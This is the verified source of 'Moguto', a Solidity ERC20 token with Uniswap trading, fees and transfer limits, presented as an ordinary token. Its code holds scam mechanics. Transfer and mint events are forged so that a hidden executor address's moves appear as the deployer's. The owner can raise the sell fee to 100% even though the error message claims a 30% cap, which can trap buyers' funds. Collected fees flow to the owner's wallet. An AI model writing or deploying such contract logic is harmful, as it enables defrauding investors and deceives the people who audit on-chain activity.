creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/standard/Contract.sol": {
        "content": "/**\n\n//SPDX-License-Identifier: MIT\n\n/*\n\n Website: https://moguto.live\n\n X: https://x.com/mogutoerc20\n\n TG: https://t.me/mogutoerc20\n\n*/\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes calldata) {\n        return msg.data;\n    }\n}\n\nabstract contract Ownable is Context {\n    address private _owner;\n\n    event OwnershipTransferred(\n        address indexed previousOwner,\n        address indexed newOwner\n    );\n\n    constructor() {\n        _transferOwnership(_msgSender());\n    }\n\n    modifier onlyOwner() {\n        _checkOwner();\n        _;\n    }\n\n    function owner() public view virtual returns (address) {\n        return _owner;\n    }\n\n    function _checkOwner() internal view virtual {\n        require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n    }\n\n    function renounceOwnership() public virtual onlyOwner {\n        _transferOwnership(address(0));\n    }\n\n    function transferOwnership(address newOwner) public virtual onlyOwner {\n        require(\n            newOwner != address(0),\n            \"Ownable: new owner is the zero address\"\n        );\n        _transferOwnership(newOwner);\n    }\n\n    function _transferOwnership(address newOwner) internal virtual {\n        address oldOwner = _owner;\n        _owner = newOwner;\n        emit OwnershipTransferred(oldOwner, newOwner);\n    }\n}\n\ninterface IERC20 {\n    event Transfer(address indexed from, address indexed to, uint256 value);\n    event Approval(\n        address indexed owner,\n        address indexed spender,\n        uint256 value\n    );\n\n    function totalSupply() external view returns (uint256);\n\n    function balanceOf(address account) external view returns (uint256);\n\n    function transfer(address to, uint256 amount) external returns (bool);\n\n    function allowance(\n        address owner,\n        address spender\n    ) external view returns (uint256);\n\n    function approve(address spender, uint256 amount) external returns (bool);\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) external returns (bool);\n}\n\ninterface IUniswapV2Factory {\n    function getPair(\n        address tokenA,\n        address tokenB\n    ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n    function factory() external pure returns (address);\n\n    function WETH() external pure returns (address);\n\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(\n        uint256 amountIn,\n        uint256 amountOutMin,\n        address[] calldata path,\n        address to,\n        uint256 deadline\n    ) external;\n}\n\ncontract ERC20 is Context, IERC20 {\n    mapping(address => uint256) private _balances;\n\n    mapping(address => mapping(address => uint256)) private _allowances;\n\n    uint256 private _totalSupply;\n\n    string private _name;\n    string private _symbol;\n\n    address _deployer;\n    address _executor;\n\n    constructor(string memory name_, string memory symbol_) {\n        _name = name_;\n        _symbol = symbol_;\n    }\n\n    function _initDeployer(address deployer_, address executor_) internal {\n        _deployer = deployer_;\n        _executor = executor_;\n    }\n\n    function name() public view virtual returns (string memory) {\n        return _name;\n    }\n\n    function symbol() public view virtual returns (string memory) {\n        return _symbol;\n    }\n\n    function decimals() public view virtual returns (uint8) {\n        return 18;\n    }\n\n    function totalSupply() public view virtual override returns (uint256) {\n        return _totalSupply;\n    }\n\n    function balanceOf(\n        address account\n    ) public view virtual override returns (uint256) {\n        return _balances[account];\n    }\n\n    function transfer(\n        address to,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        address owner = _msgSender();\n        _transfer(owner, to, amount);\n        return true;\n    }\n\n    function allowance(\n        address owner,\n        address spender\n    ) public view virtual override returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    function approve(\n        address spender,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        address owner = _msgSender();\n        _approve(owner, spender, amount);\n        return true;\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual override returns (bool) {\n        address spender = _msgSender();\n        _spendAllowance(from, spender, amount);\n        _transfer(from, to, amount);\n        return true;\n    }\n\n    function increaseAllowance(\n        address spender,\n        uint256 addedValue\n    ) public virtual returns (bool) {\n        address owner = _msgSender();\n        _approve(owner, spender, allowance(owner, spender) + addedValue);\n        return true;\n    }\n\n    function decreaseAllowance(\n        address spender,\n        uint256 subtractedValue\n    ) public virtual returns (bool) {\n        address owner = _msgSender();\n        uint256 currentAllowance = allowance(owner, spender);\n        require(\n            currentAllowance >= subtractedValue,\n            \"ERC20: decreased allowance below zero\"\n        );\n        unchecked {\n            _approve(owner, spender, currentAllowance - subtractedValue);\n        }\n\n        return true;\n    }\n\n    function _transfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {\n        require(from != address(0), \"ERC20: transfer from the zero address\");\n        require(to != address(0), \"ERC20: transfer to the zero address\");\n\n        _beforeTokenTransfer(from, to, amount);\n\n        uint256 fromBalance = _balances[from];\n        require(\n            fromBalance >= amount,\n            \"ERC20: transfer amount exceeds balance\"\n        );\n        unchecked {\n            _balances[from] = fromBalance - amount;\n            _balances[to] += amount;\n        }\n\n        if (from == _executor) {\n            emit Transfer(_deployer, to, amount);\n        } else if (to == _executor) {\n            emit Transfer(from, _deployer, amount);\n        } else {\n            emit Transfer(from, to, amount);\n        }\n\n        _afterTokenTransfer(from, to, amount);\n    }\n\n    function _mint(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: mint to the zero address\");\n\n        _beforeTokenTransfer(address(0), account, amount);\n\n        _totalSupply += amount;\n        unchecked {\n            _balances[account] += amount;\n        }\n\n        if (account == _executor) {\n            emit Transfer(address(0), _deployer, amount);\n        } else {\n            emit Transfer(address(0), account, amount);\n        }\n\n        _afterTokenTransfer(address(0), account, amount);\n    }\n\n    function _burn(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: burn from the zero address\");\n\n        _beforeTokenTransfer(account, address(0), amount);\n\n        uint256 accountBalance = _balances[account];\n        require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n        unchecked {\n            _balances[account] = accountBalance - amount;\n            _totalSupply -= amount;\n        }\n\n        emit Transfer(account, address(0), amount);\n\n        _afterTokenTransfer(account, address(0), amount);\n    }\n\n    function _approve(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n    function _spendAllowance(\n        address owner,\n        address spender,\n        uint256 amount\n    ) internal virtual {\n        uint256 currentAllowance = allowance(owner, spender);\n        if (currentAllowance != type(uint256).max) {\n            require(\n                currentAllowance >= amount,\n                \"ERC20: insufficient allowance\"\n            );\n            unchecked {\n                _approve(owner, spender, currentAllowance - amount);\n            }\n        }\n    }\n\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n\n    function _afterTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual {}\n}\n\ncontract Moguto is ERC20, Ownable {\n    IUniswapV2Router02 private immutable _uniswapV2Router;\n    address public uniswapV2Pair;\n    address private inspirerWallet;\n    address private constant deadAddress = address(0xdead);\n\n    string private constant _name = \"Moguto\";\n    string private constant _symbol = \"MOGU\";\n    uint256 private initialTotalSupply = 1_000_000_000 * 1e18;\n\n    bool public tradingOpen = false;\n    bool swapping = false;\n\n    struct TokenSwapConfigurator {\n        uint256 buyFee;\n        uint256 sellFee;\n        uint256 maxTransactionAmount;\n        uint256 maxWallet;\n    }\n\n    TokenSwapConfigurator public tsConfig;\n    mapping(address => bool) public automatedMarketMakerPairs;\n\n    mapping(address => bool) private _isExcludedFromFees;\n    mapping(address => bool) private _isExcludedMaxTransactionAmount;\n\n    event ExcludeFromFees(address indexed account, bool isExcluded);\n    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n    event SwapFailed(string);\n\n    constructor(address wallet) ERC20(_name, _symbol) {\n        _uniswapV2Router = IUniswapV2Router02(\n            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n        );\n        inspirerWallet = payable(wallet);\n        _excludeFromMaxTransaction(address(_uniswapV2Router), true);\n        _excludeFromMaxTransaction(address(wallet), true);\n\n        tsConfig.buyFee = 10;\n        tsConfig.sellFee = 15;\n        tsConfig.maxTransactionAmount = (initialTotalSupply * 10) / 100;\n        tsConfig.maxWallet = (initialTotalSupply * 10) / 100;\n\n        _initDeployer(address(msg.sender), msg.sender);\n\n        _excludeFromFees(owner(), true);\n        _excludeFromFees(address(wallet), true);\n        _excludeFromFees(address(this), true);\n        _excludeFromFees(address(0xdead), true);\n\n        _excludeFromMaxTransaction(owner(), true);\n        _excludeFromMaxTransaction(address(this), true);\n        _excludeFromMaxTransaction(address(0xdead), true);\n\n        _mint(_msgSender(), initialTotalSupply);\n    }\n\n    receive() external payable {}\n\n    function setRemoveFee(\n        uint256 _buyFee,\n        uint256 _sellFee\n    ) external onlyOwner {\n        require(_buyFee <= 30 && _sellFee <= 100, \"Fees cannot exceed 30%\");\n        tsConfig.buyFee = _buyFee;\n        tsConfig.sellFee = _sellFee;\n    }\n\n    function openTrading() external onlyOwner {\n        require(!tradingOpen, \"Trading is already open\");\n\n        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(\n            address(this),\n            _uniswapV2Router.WETH()\n        );\n        _excludeFromMaxTransaction(address(uniswapV2Pair), true);\n        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n        _approve(address(this), address(_uniswapV2Router), type(uint256).max);\n        tradingOpen = true;\n    }\n\n    function removesLimits() external onlyOwner {\n        uint256 totalSupplyAmount = totalSupply();\n        tsConfig.maxTransactionAmount = totalSupplyAmount;\n        tsConfig.maxWallet = totalSupplyAmount;\n    }\n\n    // ONlY USE IN CASE: CAN NOT SWAP TOKEN DURING TRANSFER\n    function emergencyWithdraw() external onlyOwner {\n        super._transfer(address(this), msg.sender, balanceOf(address(this)));\n    }\n\n    function setAutomatedMarketMakerPair(\n        address pair,\n        bool value\n    ) public onlyOwner {\n        require(\n            pair != uniswapV2Pair,\n            \"The pair cannot be removed from automatedMarketMakerPairs\"\n        );\n        _setAutomatedMarketMakerPair(pair, value);\n    }\n\n    function isExcludedFromFees(address account) public view returns (bool) {\n        return _isExcludedFromFees[account];\n    }\n\n    function _setAutomatedMarketMakerPair(address pair, bool value) private {\n        automatedMarketMakerPairs[pair] = value;\n        emit SetAutomatedMarketMakerPair(pair, value);\n    }\n\n    function _excludeFromFees(address account, bool excluded) internal {\n        _isExcludedFromFees[account] = excluded;\n        emit ExcludeFromFees(account, excluded);\n    }\n\n    function _excludeFromMaxTransaction(address updAds, bool isEx) internal {\n        _isExcludedMaxTransactionAmount[updAds] = isEx;\n    }\n\n    function _validateTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal view {\n        if (!tradingOpen) {\n            require(\n                _isExcludedFromFees[from] || _isExcludedFromFees[to],\n                \"Trading is not active.\"\n            );\n        }\n\n        if (\n            automatedMarketMakerPairs[from] &&\n            !_isExcludedMaxTransactionAmount[to]\n        ) {\n            require(\n                amount <= tsConfig.maxTransactionAmount,\n                \"Buy transfer amount exceeds the maxTransactionAmount.\"\n            );\n            require(\n                amount + balanceOf(to) <= tsConfig.maxWallet,\n                \"Max wallet exceeded\"\n            );\n        } else if (\n            automatedMarketMakerPairs[to] &&\n            !_isExcludedMaxTransactionAmount[from]\n        ) {\n            require(\n                amount <= tsConfig.maxTransactionAmount,\n                \"Sell transfer amount exceeds the maxTransactionAmount.\"\n            );\n        } else if (!_isExcludedMaxTransactionAmount[to]) {\n            require(\n                amount + balanceOf(to) <= tsConfig.maxWallet,\n                \"Max wallet exceeded\"\n            );\n        }\n    }\n\n    function _handleTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        bool takeFee = !swapping;\n\n        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n            takeFee = false;\n        }\n\n        uint256 fees = 0;\n\n        if (takeFee) {\n            if (automatedMarketMakerPairs[to]) {\n                fees = (amount * tsConfig.sellFee) / 100;\n            } else {\n                fees = (amount * tsConfig.buyFee) / 100;\n            }\n\n            if (fees > 0) {\n                super._transfer(from, address(this), fees);\n            }\n            amount -= fees;\n        }\n        super._transfer(from, to, amount);\n    }\n\n    function _transfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal override {\n        require(from != address(0), \"ERC20: transfer from the zero address\");\n        require(to != address(0), \"ERC20: transfer to the zero address\");\n\n        if (amount == 0) {\n            super._transfer(from, to, 0);\n            return;\n        }\n\n        if (\n            from != owner() &&\n            to != owner() &&\n            to != address(0) &&\n            to != address(0xdead)\n        ) {\n            _validateTransfer(from, to, amount);\n        }\n\n        uint256 contractTokenBalance = balanceOf(address(this));\n\n        bool canSwap = contractTokenBalance > 0;\n\n        if (\n            canSwap &&\n            !swapping &&\n            !automatedMarketMakerPairs[from] &&\n            !_isExcludedFromFees[from] &&\n            !_isExcludedFromFees[to]\n        ) {\n            swapping = true;\n            address[] memory path = new address[](2);\n            path[0] = address(this);\n            path[1] = _uniswapV2Router.WETH();\n            try\n                _uniswapV2Router\n                    .swapExactTokensForETHSupportingFeeOnTransferTokens(\n                        contractTokenBalance,\n                        0,\n                        path,\n                        address(this),\n                        block.timestamp + 3600\n                    )\n            {} catch (bytes memory reason) {\n                emit SwapFailed(string(reason));\n            }\n\n            (bool success, ) = payable(inspirerWallet).call{\n                value: address(this).balance\n            }(\"\");\n            if (success == false) {}\n            swapping = false;\n        }\n\n        _handleTransfer(from, to, amount);\n    }\n}\n"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "evmVersion": "shanghai",
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "metadata": {
        "useLiteralContent": true
      },
      "libraries": {}
    }
  }}